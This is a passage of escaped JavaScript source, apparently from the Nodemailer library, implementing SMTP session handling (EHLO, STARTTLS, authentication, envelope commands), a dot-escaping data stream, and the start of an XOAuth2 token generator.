return callback(this._formatError('Invalid sender ' + JSON.stringify(this._envelope.from), 'EENVELOPE', false, 'API'));\n }\n\n // check if the sender address uses only ASCII characters,\n // otherwise require usage of SMTPUTF8 extension\n if (/[\\x80-\\uFFFF]/.test(this._envelope.from)) {\n useSmtpUtf8 = true;\n }\n\n for (let i = 0, len = this._envelope.to.length; i < len; i++) {\n if (!this._envelope.to[i] || /[\\r\\n<>]/.test(this._envelope.to[i])) {\n return callback(this._formatError('Invalid recipient ' + JSON.stringify(this._envelope.to[i]), 'EENVELOPE', false, 'API'));\n }\n\n // check if the recipients addresses use only ASCII characters,\n // otherwise require usage of SMTPUTF8 extension\n if (/[\\x80-\\uFFFF]/.test(this._envelope.to[i])) {\n useSmtpUtf8 = true;\n }\n }\n\n // clone the recipients array for latter manipulation\n this._envelope.rcptQueue = JSON.parse(JSON.stringify(this._envelope.to || []));\n this._envelope.rejected = [];\n this._envelope.rejectedErrors = [];\n this._envelope.accepted = [];\n\n if (this._envelope.dsn) {\n try {\n this._envelope.dsn = this._setDsnEnvelope(this._envelope.dsn);\n } catch (err) {\n return callback(this._formatError('Invalid DSN ' + err.message, 'EENVELOPE', false, 'API'));\n }\n }\n\n this._responseActions.push(str => {\n this._actionMAIL(str, callback);\n });\n\n // If the server supports SMTPUTF8 and the envelope includes an internationalized\n // email address then append SMTPUTF8 keyword to the MAIL FROM command\n if (useSmtpUtf8 && this._supportedExtensions.includes('SMTPUTF8')) {\n args.push('SMTPUTF8');\n this._usingSmtpUtf8 = true;\n }\n\n // If the server supports 8BITMIME and the message might contain non-ascii bytes\n // then append the 8BITMIME keyword to the MAIL FROM command\n if (this._envelope.use8BitMime && this._supportedExtensions.includes('8BITMIME')) {\n args.push('BODY=8BITMIME');\n this._using8BitMime = true;\n }\n\n if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {\n args.push('SIZE=' + this._envelope.size);\n }\n\n // If the server supports DSN and the envelope includes an DSN prop\n // then append DSN params to the MAIL FROM command\n if (this._envelope.dsn && this._supportedExtensions.includes('DSN')) {\n if (this._envelope.dsn.ret) {\n args.push('RET=' + shared.encodeXText(this._envelope.dsn.ret));\n }\n if (this._envelope.dsn.envid) {\n args.push('ENVID=' + shared.encodeXText(this._envelope.dsn.envid));\n }\n }\n\n this._sendCommand('MAIL FROM:<' + this._envelope.from + '>' + (args.length ? ' ' + args.join(' ') : ''));\n }\n\n _setDsnEnvelope(params) {\n let ret = (params.ret || params.return || '').toString().toUpperCase() || null;\n if (ret) {\n switch (ret) {\n case 'HDRS':\n case 'HEADERS':\n ret = 'HDRS';\n break;\n case 'FULL':\n case 'BODY':\n ret = 'FULL';\n break;\n }\n }\n\n if (ret && !['FULL', 'HDRS'].includes(ret)) {\n throw new Error('ret: ' + JSON.stringify(ret));\n }\n\n let envid = (params.envid || params.id || '').toString() || null;\n\n let notify = params.notify || null;\n if (notify) {\n if (typeof notify === 'string') {\n notify = notify.split(',');\n }\n notify = notify.map(n => n.trim().toUpperCase());\n let validNotify = ['NEVER', 'SUCCESS', 'FAILURE', 'DELAY'];\n let invaliNotify = notify.filter(n => !validNotify.includes(n));\n if (invaliNotify.length || (notify.length > 1 && notify.includes('NEVER'))) {\n throw new Error('notify: ' + JSON.stringify(notify.join(',')));\n }\n notify = notify.join(',');\n }\n\n let orcpt = (params.recipient || params.orcpt || '').toString() || null;\n if (orcpt && orcpt.indexOf(';') < 0) {\n orcpt = 'rfc822;' + orcpt;\n }\n\n return {\n ret,\n envid,\n notify,\n orcpt\n };\n }\n\n _getDsnRcptToArgs() {\n let args = [];\n // If the server supports DSN and the envelope includes an DSN prop\n // then append DSN params to the RCPT TO command\n if (this._envelope.dsn && this._supportedExtensions.includes('DSN')) {\n if (this._envelope.dsn.notify) {\n args.push('NOTIFY=' + shared.encodeXText(this._envelope.dsn.notify));\n }\n if (this._envelope.dsn.orcpt) {\n args.push('ORCPT=' + shared.encodeXText(this._envelope.dsn.orcpt));\n }\n }\n return args.length ? ' ' + args.join(' ') : '';\n }\n\n _createSendStream(callback) {\n let dataStream = new DataStream();\n let logStream;\n\n if (this.options.lmtp) {\n this._envelope.accepted.forEach((recipient, i) => {\n let final = i === this._envelope.accepted.length - 1;\n this._responseActions.push(str => {\n this._actionLMTPStream(recipient, final, str, callback);\n });\n });\n } else {\n this._responseActions.push(str => {\n this._actionSMTPStream(str, callback);\n });\n }\n\n dataStream.pipe(this._socket, {\n end: false\n });\n\n if (this.options.debug) {\n logStream = new PassThrough();\n logStream.on('readable', () => {\n let chunk;\n while ((chunk = logStream.read())) {\n this.logger.debug(\n {\n tnx: 'message'\n },\n chunk.toString('binary').replace(/\\r?\\n$/, '')\n );\n }\n });\n dataStream.pipe(logStream);\n }\n\n dataStream.once('end', () => {\n this.logger.info(\n {\n tnx: 'message',\n inByteCount: dataStream.inByteCount,\n outByteCount: dataStream.outByteCount\n },\n '<%s bytes encoded mime message (source size %s bytes)>',\n dataStream.outByteCount,\n dataStream.inByteCount\n );\n });\n\n return dataStream;\n }\n\n /** ACTIONS **/\n\n /**\n * Will be run after the connection is created and the server sends\n * a greeting. If the incoming message starts with 220 initiate\n * SMTP session by sending EHLO command\n *\n * @param {String} str Message from the server\n */\n _actionGreeting(str) {\n clearTimeout(this._greetingTimeout);\n\n if (str.substr(0, 3) !== '220') {\n this._onError(new Error('Invalid greeting. response=' + str), 'EPROTOCOL', str, 'CONN');\n return;\n }\n\n if (this.options.lmtp) {\n this._responseActions.push(this._actionLHLO);\n this._sendCommand('LHLO ' + this.name);\n } else {\n this._responseActions.push(this._actionEHLO);\n this._sendCommand('EHLO ' + this.name);\n }\n }\n\n /**\n * Handles server response for LHLO command. If it yielded in\n * error, emit 'error', otherwise treat this as an EHLO response\n *\n * @param {String} str Message from the server\n */\n _actionLHLO(str) {\n if (str.charAt(0) !== '2') {\n this._onError(new Error('Invalid LHLO. response=' + str), 'EPROTOCOL', str, 'LHLO');\n return;\n }\n\n this._actionEHLO(str);\n }\n\n /**\n * Handles server response for EHLO command. If it yielded in\n * error, try HELO instead, otherwise initiate TLS negotiation\n * if STARTTLS is supported by the server or move into the\n * authentication phase.\n *\n * @param {String} str Message from the server\n */\n _actionEHLO(str) {\n let match;\n\n if (str.substr(0, 3) === '421') {\n this._onError(new Error('Server terminates connection. response=' + str), 'ECONNECTION', str, 'EHLO');\n return;\n }\n\n if (str.charAt(0) !== '2') {\n if (this.options.requireTLS) {\n this._onError(new Error('EHLO failed but HELO does not support required STARTTLS. response=' + str), 'ECONNECTION', str, 'EHLO');\n return;\n }\n\n // Try HELO instead\n this._responseActions.push(this._actionHELO);\n this._sendCommand('HELO ' + this.name);\n return;\n }\n\n this._ehloLines = str\n .split(/\\r?\\n/)\n .map(line => line.replace(/^\\d+[ -]/, '').trim())\n .filter(line => line)\n .slice(1);\n\n // Detect if the server supports STARTTLS\n if (!this.secure && !this.options.ignoreTLS && (/[ -]STARTTLS\\b/im.test(str) || this.options.requireTLS)) {\n this._sendCommand('STARTTLS');\n this._responseActions.push(this._actionSTARTTLS);\n return;\n }\n\n // Detect if the server supports SMTPUTF8\n if (/[ -]SMTPUTF8\\b/im.test(str)) {\n this._supportedExtensions.push('SMTPUTF8');\n }\n\n // Detect if the server supports DSN\n if (/[ -]DSN\\b/im.test(str)) {\n this._supportedExtensions.push('DSN');\n }\n\n // Detect if the server supports 8BITMIME\n if (/[ -]8BITMIME\\b/im.test(str)) {\n this._supportedExtensions.push('8BITMIME');\n }\n\n // Detect if the server supports PIPELINING\n if (/[ -]PIPELINING\\b/im.test(str)) {\n this._supportedExtensions.push('PIPELINING');\n }\n\n // Detect if the server supports AUTH\n if (/[ -]AUTH\\b/i.test(str)) {\n this.allowsAuth = true;\n }\n\n // Detect if the server supports PLAIN auth\n if (/[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)PLAIN/i.test(str)) {\n this._supportedAuth.push('PLAIN');\n }\n\n // Detect if the server supports LOGIN auth\n if (/[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)LOGIN/i.test(str)) {\n this._supportedAuth.push('LOGIN');\n }\n\n // Detect if the server supports CRAM-MD5 auth\n if (/[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)CRAM-MD5/i.test(str)) {\n this._supportedAuth.push('CRAM-MD5');\n }\n\n // Detect if the server supports XOAUTH2 auth\n if (/[ -]AUTH(?:(\\s+|=)[^\\n]*\\s+|\\s+|=)XOAUTH2/i.test(str)) {\n this._supportedAuth.push('XOAUTH2');\n }\n\n // Detect if the server supports SIZE extensions (and the max allowed size)\n if ((match = str.match(/[ -]SIZE(?:[ \\t]+(\\d+))?/im))) {\n this._supportedExtensions.push('SIZE');\n this._maxAllowedSize = Number(match[1]) || 0;\n }\n\n this.emit('connect');\n }\n\n /**\n * Handles server response for HELO command. If it yielded in\n * error, emit 'error', otherwise move into the authentication phase.\n *\n * @param {String} str Message from the server\n */\n _actionHELO(str) {\n if (str.charAt(0) !== '2') {\n this._onError(new Error('Invalid HELO. response=' + str), 'EPROTOCOL', str, 'HELO');\n return;\n }\n\n // assume that authentication is enabled (most probably is not though)\n this.allowsAuth = true;\n\n this.emit('connect');\n }\n\n /**\n * Handles server response for STARTTLS command. If there's an error\n * try HELO instead, otherwise initiate TLS upgrade. If the upgrade\n * succeedes restart the EHLO\n *\n * @param {String} str Message from the server\n */\n _actionSTARTTLS(str) {\n if (str.charAt(0) !== '2') {\n if (this.options.opportunisticTLS) {\n this.logger.info(\n {\n tnx: 'smtp'\n },\n 'Failed STARTTLS upgrade, continuing unencrypted'\n );\n return this.emit('connect');\n }\n this._onError(new Error('Error upgrading connection with STARTTLS'), 'ETLS', str, 'STARTTLS');\n return;\n }\n\n this._upgradeConnection((err, secured) => {\n if (err) {\n this._onError(new Error('Error initiating TLS - ' + (err.message || err)), 'ETLS', false, 'STARTTLS');\n return;\n }\n\n this.logger.info(\n {\n tnx: 'smtp'\n },\n 'Connection upgraded with STARTTLS'\n );\n\n if (secured) {\n // restart session\n if (this.options.lmtp) {\n this._responseActions.push(this._actionLHLO);\n this._sendCommand('LHLO ' + this.name);\n } else {\n this._responseActions.push(this._actionEHLO);\n this._sendCommand('EHLO ' + this.name);\n }\n } else {\n this.emit('connect');\n }\n });\n }\n\n /**\n * Handle the response for AUTH LOGIN command. We are expecting\n * '334 VXNlcm5hbWU6' (base64 for 'Username:'). Data to be sent as\n * response needs to be base64 encoded username. We do not need\n * exact match but settle with 334 response in general as some\n * hosts invalidly use a longer message than VXNlcm5hbWU6\n *\n * @param {String} str Message from the server\n */\n _actionAUTH_LOGIN_USER(str, callback) {\n if (!/^334[ -]/.test(str)) {\n // expecting '334 VXNlcm5hbWU6'\n callback(this._formatError('Invalid login sequence while waiting for \"334 VXNlcm5hbWU6\"', 'EAUTH', str, 'AUTH LOGIN'));\n return;\n }\n\n this._responseActions.push(str => {\n this._actionAUTH_LOGIN_PASS(str, callback);\n });\n\n this._sendCommand(Buffer.from(this._auth.credentials.user + '', 'utf-8').toString('base64'));\n }\n\n /**\n * Handle the response for AUTH CRAM-MD5 command. We are expecting\n * '334 <challenge string>'. Data to be sent as response needs to be\n * base64 decoded challenge string, MD5 hashed using the password as\n * a HMAC key, prefixed by the username and a space, and finally all\n * base64 encoded again.\n *\n * @param {String} str Message from the server\n */\n _actionAUTH_CRAM_MD5(str, callback) {\n let challengeMatch = str.match(/^334\\s+(.+)$/);\n let challengeString = '';\n\n if (!challengeMatch) {\n return callback(this._formatError('Invalid login sequence while waiting for server challenge string', 'EAUTH', str, 'AUTH CRAM-MD5'));\n } else {\n challengeString = challengeMatch[1];\n }\n\n // Decode from base64\n let base64decoded = Buffer.from(challengeString, 'base64').toString('ascii'),\n hmacMD5 = crypto.createHmac('md5', this._auth.credentials.pass);\n\n hmacMD5.update(base64decoded);\n\n let prepended = this._auth.credentials.user + ' ' + hmacMD5.digest('hex');\n\n this._responseActions.push(str => {\n this._actionAUTH_CRAM_MD5_PASS(str, callback);\n });\n\n this._sendCommand(\n Buffer.from(prepended).toString('base64'),\n // hidden hash for logs\n Buffer.from(this._auth.credentials.user + ' /* secret */').toString('base64')\n );\n }\n\n /**\n * Handles the response to CRAM-MD5 authentication, if there's no error,\n * the user can be considered logged in. Start waiting for a message to send\n *\n * @param {String} str Message from the server\n */\n _actionAUTH_CRAM_MD5_PASS(str, callback) {\n if (!str.match(/^235\\s+/)) {\n return callback(this._formatError('Invalid login sequence while waiting for \"235\"', 'EAUTH', str, 'AUTH CRAM-MD5'));\n }\n\n this.logger.info(\n {\n tnx: 'smtp',\n username: this._auth.user,\n action: 'authenticated',\n method: this._authMethod\n },\n 'User %s authenticated',\n JSON.stringify(this._auth.user)\n );\n this.authenticated = true;\n callback(null, true);\n }\n\n /**\n * Handle the response for AUTH LOGIN command. We are expecting\n * '334 UGFzc3dvcmQ6' (base64 for 'Password:'). Data to be sent as\n * response needs to be base64 encoded password.\n *\n * @param {String} str Message from the server\n */\n _actionAUTH_LOGIN_PASS(str, callback) {\n if (!/^334[ -]/.test(str)) {\n // expecting '334 UGFzc3dvcmQ6'\n return callback(this._formatError('Invalid login sequence while waiting for \"334 UGFzc3dvcmQ6\"', 'EAUTH', str, 'AUTH LOGIN'));\n }\n\n this._responseActions.push(str => {\n this._actionAUTHComplete(str, callback);\n });\n\n this._sendCommand(\n Buffer.from((this._auth.credentials.pass || '').toString(), 'utf-8').toString('base64'),\n // Hidden pass for logs\n Buffer.from('/* secret */', 'utf-8').toString('base64')\n );\n }\n\n /**\n * Handles the response for authentication, if there's no error,\n * the user can be considered logged in. Start waiting for a message to send\n *\n * @param {String} str Message from the server\n */\n _actionAUTHComplete(str, isRetry, callback) {\n if (!callback && typeof isRetry === 'function') {\n callback = isRetry;\n isRetry = false;\n }\n\n if (str.substr(0, 3) === '334') {\n this._responseActions.push(str => {\n if (isRetry || this._authMethod !== 'XOAUTH2') {\n this._actionAUTHComplete(str, true, callback);\n } else {\n // fetch a new OAuth2 access token\n setImmediate(() => this._handleXOauth2Token(true, callback));\n }\n });\n this._sendCommand('');\n return;\n }\n\n if (str.charAt(0) !== '2') {\n this.logger.info(\n {\n tnx: 'smtp',\n username: this._auth.user,\n action: 'authfail',\n method: this._authMethod\n },\n 'User %s failed to authenticate',\n JSON.stringify(this._auth.user)\n );\n return callback(this._formatError('Invalid login', 'EAUTH', str, 'AUTH ' + this._authMethod));\n }\n\n this.logger.info(\n {\n tnx: 'smtp',\n username: this._auth.user,\n action: 'authenticated',\n method: this._authMethod\n },\n 'User %s authenticated',\n JSON.stringify(this._auth.user)\n );\n this.authenticated = true;\n callback(null, true);\n }\n\n /**\n * Handle response for a MAIL FROM: command\n *\n * @param {String} str Message from the server\n */\n _actionMAIL(str, callback) {\n let message, curRecipient;\n if (Number(str.charAt(0)) !== 2) {\n if (this._usingSmtpUtf8 && /^550 /.test(str) && /[\\x80-\\uFFFF]/.test(this._envelope.from)) {\n message = 'Internationalized mailbox name not allowed';\n } else {\n message = 'Mail command failed';\n }\n return callback(this._formatError(message, 'EENVELOPE', str, 'MAIL FROM'));\n }\n\n if (!this._envelope.rcptQueue.length) {\n return callback(this._formatError('Can\\x27t send mail - no recipients defined', 'EENVELOPE', false, 'API'));\n } else {\n this._recipientQueue = [];\n\n if (this._supportedExtensions.includes('PIPELINING')) {\n while (this._envelope.rcptQueue.length) {\n curRecipient = this._envelope.rcptQueue.shift();\n this._recipientQueue.push(curRecipient);\n this._responseActions.push(str => {\n this._actionRCPT(str, callback);\n });\n this._sendCommand('RCPT TO:<' + curRecipient + '>' + this._getDsnRcptToArgs());\n }\n } else {\n curRecipient = this._envelope.rcptQueue.shift();\n this._recipientQueue.push(curRecipient);\n this._responseActions.push(str => {\n this._actionRCPT(str, callback);\n });\n this._sendCommand('RCPT TO:<' + curRecipient + '>' + this._getDsnRcptToArgs());\n }\n }\n }\n\n /**\n * Handle response for a RCPT TO: command\n *\n * @param {String} str Message from the server\n */\n _actionRCPT(str, callback) {\n let message,\n err,\n curRecipient = this._recipientQueue.shift();\n if (Number(str.charAt(0)) !== 2) {\n // this is a soft error\n if (this._usingSmtpUtf8 && /^553 /.test(str) && /[\\x80-\\uFFFF]/.test(curRecipient)) {\n message = 'Internationalized mailbox name not allowed';\n } else {\n message = 'Recipient command failed';\n }\n this._envelope.rejected.push(curRecipient);\n // store error for the failed recipient\n err = this._formatError(message, 'EENVELOPE', str, 'RCPT TO');\n err.recipient = curRecipient;\n this._envelope.rejectedErrors.push(err);\n } else {\n this._envelope.accepted.push(curRecipient);\n }\n\n if (!this._envelope.rcptQueue.length && !this._recipientQueue.length) {\n if (this._envelope.rejected.length < this._envelope.to.length) {\n this._responseActions.push(str => {\n this._actionDATA(str, callback);\n });\n this._sendCommand('DATA');\n } else {\n err = this._formatError('Can\\x27t send mail - all recipients were rejected', 'EENVELOPE', str, 'RCPT TO');\n err.rejected = this._envelope.rejected;\n err.rejectedErrors = this._envelope.rejectedErrors;\n return callback(err);\n }\n } else if (this._envelope.rcptQueue.length) {\n curRecipient = this._envelope.rcptQueue.shift();\n this._recipientQueue.push(curRecipient);\n this._responseActions.push(str => {\n this._actionRCPT(str, callback);\n });\n this._sendCommand('RCPT TO:<' + curRecipient + '>' + this._getDsnRcptToArgs());\n }\n }\n\n /**\n * Handle response for a DATA command\n *\n * @param {String} str Message from the server\n */\n _actionDATA(str, callback) {\n // response should be 354 but according to this issue https://github.com/eleith/emailjs/issues/24\n // some servers might use 250 instead, so lets check for 2 or 3 as the first digit\n if (!/^[23]/.test(str)) {\n return callback(this._formatError('Data command failed', 'EENVELOPE', str, 'DATA'));\n }\n\n let response = {\n accepted: this._envelope.accepted,\n rejected: this._envelope.rejected\n };\n\n if (this._ehloLines && this._ehloLines.length) {\n response.ehlo = this._ehloLines;\n }\n\n if (this._envelope.rejectedErrors.length) {\n response.rejectedErrors = this._envelope.rejectedErrors;\n }\n\n callback(null, response);\n }\n\n /**\n * Handle response for a DATA stream when using SMTP\n * We expect a single response that defines if the sending succeeded or failed\n *\n * @param {String} str Message from the server\n */\n _actionSMTPStream(str, callback) {\n if (Number(str.charAt(0)) !== 2) {\n // Message failed\n return callback(this._formatError('Message failed', 'EMESSAGE', str, 'DATA'));\n } else {\n // Message sent succesfully\n return callback(null, str);\n }\n }\n\n /**\n * Handle response for a DATA stream\n * We expect a separate response for every recipient. All recipients can either\n * succeed or fail separately\n *\n * @param {String} recipient The recipient this response applies to\n * @param {Boolean} final Is this the final recipient?\n * @param {String} str Message from the server\n */\n _actionLMTPStream(recipient, final, str, callback) {\n let err;\n if (Number(str.charAt(0)) !== 2) {\n // Message failed\n err = this._formatError('Message failed for recipient ' + recipient, 'EMESSAGE', str, 'DATA');\n err.recipient = recipient;\n this._envelope.rejected.push(recipient);\n this._envelope.rejectedErrors.push(err);\n for (let i = 0, len = this._envelope.accepted.length; i < len; i++) {\n if (this._envelope.accepted[i] === recipient) {\n this._envelope.accepted.splice(i, 1);\n }\n }\n }\n if (final) {\n return callback(null, str);\n }\n }\n\n _handleXOauth2Token(isRetry, callback) {\n this._auth.oauth2.getToken(isRetry, (err, accessToken) => {\n if (err) {\n this.logger.info(\n {\n tnx: 'smtp',\n username: this._auth.user,\n action: 'authfail',\n method: this._authMethod\n },\n 'User %s failed to authenticate',\n JSON.stringify(this._auth.user)\n );\n return callback(this._formatError(err, 'EAUTH', false, 'AUTH XOAUTH2'));\n }\n this._responseActions.push(str => {\n this._actionAUTHComplete(str, isRetry, callback);\n });\n this._sendCommand(\n 'AUTH XOAUTH2 ' + this._auth.oauth2.buildXOAuth2Token(accessToken),\n // Hidden for logs\n 'AUTH XOAUTH2 ' + this._auth.oauth2.buildXOAuth2Token('/* secret */')\n );\n });\n }\n\n /**\n *\n * @param {string} command\n * @private\n */\n _isDestroyedMessage(command) {\n if (this._destroyed) {\n return 'Cannot ' + command + ' - smtp connection is already destroyed.';\n }\n\n if (this._socket) {\n if (this._socket.destroyed) {\n return 'Cannot ' + command + ' - smtp connection socket is already destroyed.';\n }\n\n if (!this._socket.writable) {\n return 'Cannot ' + command + ' - smtp connection socket is already half-closed.';\n }\n }\n }\n\n _getHostname() {\n // defaul hostname is machine hostname or [IP]\n let defaultHostname;\n try {\n defaultHostname = os.hostname() || '';\n } catch (err) {\n // fails on windows 7\n defaultHostname = 'localhost';\n }\n\n // ignore if not FQDN\n if (!defaultHostname || defaultHostname.indexOf('.') < 0) {\n defaultHostname = '[127.0.0.1]';\n }\n\n // IP should be enclosed in []\n if (defaultHostname.match(/^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/)) {\n defaultHostname = '[' + defaultHostname + ']';\n }\n\n return defaultHostname;\n }\n}\n\nmodule.exports = SMTPConnection;\n","'use strict';\n\nconst stream = require('stream');\nconst Transform = stream.Transform;\n\n/**\n * Escapes dots in the beginning of lines. Ends the stream with <CR><LF>.<CR><LF>\n * Also makes sure that only <CR><LF> sequences are used for linebreaks\n *\n * @param {Object} options Stream options\n */\nclass DataStream extends Transform {\n constructor(options) {\n super(options);\n // init Transform\n this.options = options || {};\n this._curLine = '';\n\n this.inByteCount = 0;\n this.outByteCount = 0;\n this.lastByte = false;\n }\n\n /**\n * Escapes dots\n */\n _transform(chunk, encoding, done) {\n let chunks = [];\n let chunklen = 0;\n let i,\n len,\n lastPos = 0;\n let buf;\n\n if (!chunk || !chunk.length) {\n return done();\n }\n\n if (typeof chunk === 'string') {\n chunk = Buffer.from(chunk);\n }\n\n this.inByteCount += chunk.length;\n\n for (i = 0, len = chunk.length; i < len; i++) {\n if (chunk[i] === 0x2e) {\n // .\n if ((i && chunk[i - 1] === 0x0a) || (!i && (!this.lastByte || this.lastByte === 0x0a))) {\n buf = chunk.slice(lastPos, i + 1);\n chunks.push(buf);\n chunks.push(Buffer.from('.'));\n chunklen += buf.length + 1;\n lastPos = i + 1;\n }\n } else if (chunk[i] === 0x0a) {\n // .\n if ((i && chunk[i - 1] !== 0x0d) || (!i && this.lastByte !== 0x0d)) {\n if (i > lastPos) {\n buf = chunk.slice(lastPos, i);\n chunks.push(buf);\n chunklen += buf.length + 2;\n } else {\n chunklen += 2;\n }\n chunks.push(Buffer.from('\\r\\n'));\n lastPos = i + 1;\n }\n }\n }\n\n if (chunklen) {\n // add last piece\n if (lastPos < chunk.length) {\n buf = chunk.slice(lastPos);\n chunks.push(buf);\n chunklen += buf.length;\n }\n\n this.outByteCount += chunklen;\n this.push(Buffer.concat(chunks, chunklen));\n } else {\n this.outByteCount += chunk.length;\n this.push(chunk);\n }\n\n this.lastByte = chunk[chunk.length - 1];\n done();\n }\n\n /**\n * Finalizes the stream with a dot on a single line\n */\n _flush(done) {\n let buf;\n if (this.lastByte === 0x0a) {\n buf = Buffer.from('.\\r\\n');\n } else if (this.lastByte === 0x0d) {\n buf = Buffer.from('\\n.\\r\\n');\n } else {\n buf = Buffer.from('\\r\\n.\\r\\n');\n }\n this.outByteCount += buf.length;\n this.push(buf);\n done();\n }\n}\n\nmodule.exports = DataStream;\n","'use strict';\n\nconst Stream = require('stream').Stream;\nconst nmfetch = require('../fetch');\nconst crypto = require('crypto');\nconst shared = require('../shared');\n\n/**\n * XOAUTH2 access_token generator for Gmail.\n * Create client ID for web applications in Google API console to use it.\n * See Offline Access for receiving the needed refreshToken for an user\n * https://developers.google.com/accounts/docs/OAuth2WebServer#offline\n *\n * Usage for generating access tokens with a custom method using provisionCallback:\n * provisionCallback(user, renew, callback)\n * * user is the username to get the token for\n * * renew is a boolean that if true indicates that existing token failed and needs to be renewed\n * * callback is the callback to run with (error, accessToken [, expires])\n * * accessToken is a string\n * * expires is an optional expire time in milliseconds\n * If provisionCallback is used, then Nodemailer does not try to attempt generating the token by itself\n *\n * @constructor\n * @param {Object} options Client information for token generation\n * @param {String} options.user User e-mail address\n * @param {String} options.clientId Client ID value\n * @param {String} options.clientSecret Client secret value\n * @param {String} options.refreshToken Refresh token for an user\n * @param {String} options.accessUrl Endpoint for token generation, defaults to 'https://accounts.google.com/o/oauth2/token'\n * @param {String} options.accessToken An existing valid accessToken\n * @param {String} options.privateKey Private key for JSW\n * @param {Number} options.expires Optional Access Token expire time in ms\n * @param {Number} options.timeout Optional TTL for Access Token in seconds\n * @param {Function} options.provisionCallback Function to run when a new access token is required\n */\nclass XOAuth2 extends Stream {\n constructor(options, logger) {\n super();\n\n this.options = options || {};\n\n if (options && options.serviceClient) {\n if (!options.privateKey || !options.user) {\n setImmediate(() => this.emit('error', new Error('Options \"privateKey\" and \"user\" are required for service account!')));\n return;\n }\n\n let serviceRequestTimeout = Math.min(Math.max(Number(this.options.serviceRequestTimeout) || 0, 0), 3600);\n this.options.serviceRequestTimeout = serviceRequestTimeout || 5 * 60;\n }\n\n this.logger = shared.getLogger(\n {\n logger\n },\n {\n component: this.options.component || 'OAuth2'\n }\n );\n\n this.provisionCallback = typeof this.options.provisionCallback === 'function' ? this.options.provisionCallback : false;\n\n this.options.accessUrl = this.options.accessUrl || 'https://accounts.google.com/o/oauth2/token';\n this.options.customHeaders = this.options.customHeaders || {};\n this.options.customParams = this.options.customParams || {};\n\n this.accessToken = this.options.accessToken || false;\n\n if (this.options.expires && Number(this.options.expires)) {\n this.expires = this.options.expires;\n } else {\n let timeout = Math.max(Number(this.options.timeout) || 0, 0);\n this.expires = (timeout && Date.now() + timeout * 1000) || 0;\n }\n }\n\n /**\n * Returns or generates (if previous has expired) a XOAuth2 token\n *\n * @param {Boolean} renew If false then use cached access token (if available)\n * @param {Function} callback Callback function with error object and token string\n */\n getToken(renew, callback) {\n if (!renew && this.accessToken && (!this.expires || this.expires > Date.now())) {\n return callback(null, this.accessToken);\n }\n\n let generateCallback = (...args) => {\n if (args[0]) {\n this.logger.error(\n {\n err: args[0],\n tnx: 'OAUTH2',\n user: this.options.user,\n action: 'renew'\n },\n 'Failed generating new Access Token for %s',\n this.options.user\n );\n } else {\n this.logger.info(\n {\n tnx: 'OAUTH2',\n user: this.options.user,\n action: 'renew'\n },\n 'Generated new Access Token for %s',\n this.options.user\n );\n }\n callback(...args);\n };\n\n if (this.provisionCallback) {\n this.provisionCallback(this.options.user, !!renew, (err, accessToken, expires) => {\n if (!err && accessToken) {\n this.accessToken = accessToken;\n this.expires = expires || 0;\n }\n generateCallback(err, accessToken);\n });\n } else {\n this.generateToken(generateCallback);\n }\n }\n\n /**\n * Updates token values\n *\n * @param {String} accessToken New access token\n * @param {Number} timeout Access token lifetime in seconds\n *\n * Emits 'token': { user: User email-address, accessToken: the new accessToken, timeout: TTL in seconds}\n */\n updateToken(accessToken, timeout) {\n this.accessToken = accessToken;\n timeout = Math.max(Number(timeout) || 0, 0);\n this.expires = (timeout && Date.now() + timeout * 1000) || 0;\n\n this.emit('token', {\n user: this.options.user,\n accessToken: accessToken || '',\n expires: this.expires\n });\n }\n\n /**\n * Generates a new XOAuth2 token with the credentials provided at initialization\n *\n * @param {Function} callback Callback function with error object and token string\n */\n generateToken(callback) {\n let urlOptions;\n let loggedUrlOptions;\n if (this.options.serviceClient) {\n // service account - https://developers.google.com/identity/protocols/OAuth2ServiceAccount\n let iat = Math.floor(Date.now() / 1000); // unix time\n let tokenData = {\n iss: this.options.serviceClient,\n scope: this.options.scope || 'https://mail.google.com/',\n sub: this.options.user,\n aud: this.options.accessUrl,\n iat,\n exp: iat + this.options.serviceRequestTimeout\n };\n let token;\n try {\n token = this.jwtSignRS256(tokenData);\n } catch (err) {\n return callback(new Error('Can\\x27t generate token. Check your auth options'));\n }\n\n urlOptions = {\n grant_type: 'urn:ietf:params:oauth:grant-type:jwt-bearer',\n assertion: token\n };\n\n loggedUrlOptions = {\n grant_type: 'urn:ietf:params:oauth:grant-type:jwt-bearer',\n assertion: tokenData\n };\n } else {\n if (!this.options.refreshToken) {\n return callback(new Error('Can\\x27t create new access token for user'));\n }\n\n // web app - https://developers.google.com/identity/protocols/OAuth2WebServer\n urlOptions = {\n client_id: this.options.clientId || '',\n client_secret: this.options.clientSecret || '',\n refresh_token: this.options.refreshToken,\n grant_type: 'refresh_token'\n };\n\n loggedUrlOptions = {\n client_id: this.options.clientId || '',\n client_secret: (this.options.clientSecret || '').substr(0, 6) + '...',\n refresh_token: (this.options.refreshToken || '').substr(0, 6) + '...',\n grant_type: 'refresh_token'\n };\n }\n\n Object.keys(this.options.customParams).forEach(key => {\n urlOptions[key] = this.options.customParams[key];\n loggedUrlOptions[key] = this.options.customParams[key];\n });\n\n this.logger.debug(\n {\n tnx: 'OAUTH2',\n user: this.options.user,\n action: 'generate'\n },\n 'Requesting token using: %s',\n JSON.stringify(loggedUrlOptions)\n );\n\n this.postRequest(this.options.accessUrl, urlOptions, this.options, (error, body) => {\n let data;\n\n if (error) {\n return callback(error);\n }\n\n try {\n data = JSON.parse(body.toString());\n } catch (E) {\n return callback(E);\n }\n\n if (!data || typeof data !== 'object') {\n this.logger.debug(\n {\n tnx: 'OAUTH2',\n user: this.options.user,\n action: 'post'\n },\n 'Response: %s',\n (body || '').toString()\n );\n return callback(new Error('Invalid authentication response'));\n }\n\n let logData = {};\n Object.keys(data).forEach(key => {\n if (key !== 'access_token') {\n logData[key] = data[key];\n } else {\n logData[key] = (data[key] || '').toString().substr(0, 6) + '...';\n }\n });\n\n this.logger.debug(\n {\n tnx: 'OAUTH2',\n user: this.options.user,\n action: 'post'\n },\n 'Response: %s',\n JSON.stringify(logData)\n );\n\n if (data.error) {\n // Error Response : https://tools.ietf.org/html/rfc6749#section-5.2\n let errorMessage = data.error;\n if (data.error_description) {\n errorMessage += ': ' + data.error_description;\n }\n if (data.error_uri) {\n errorMessage += ' (' + data.error_uri + 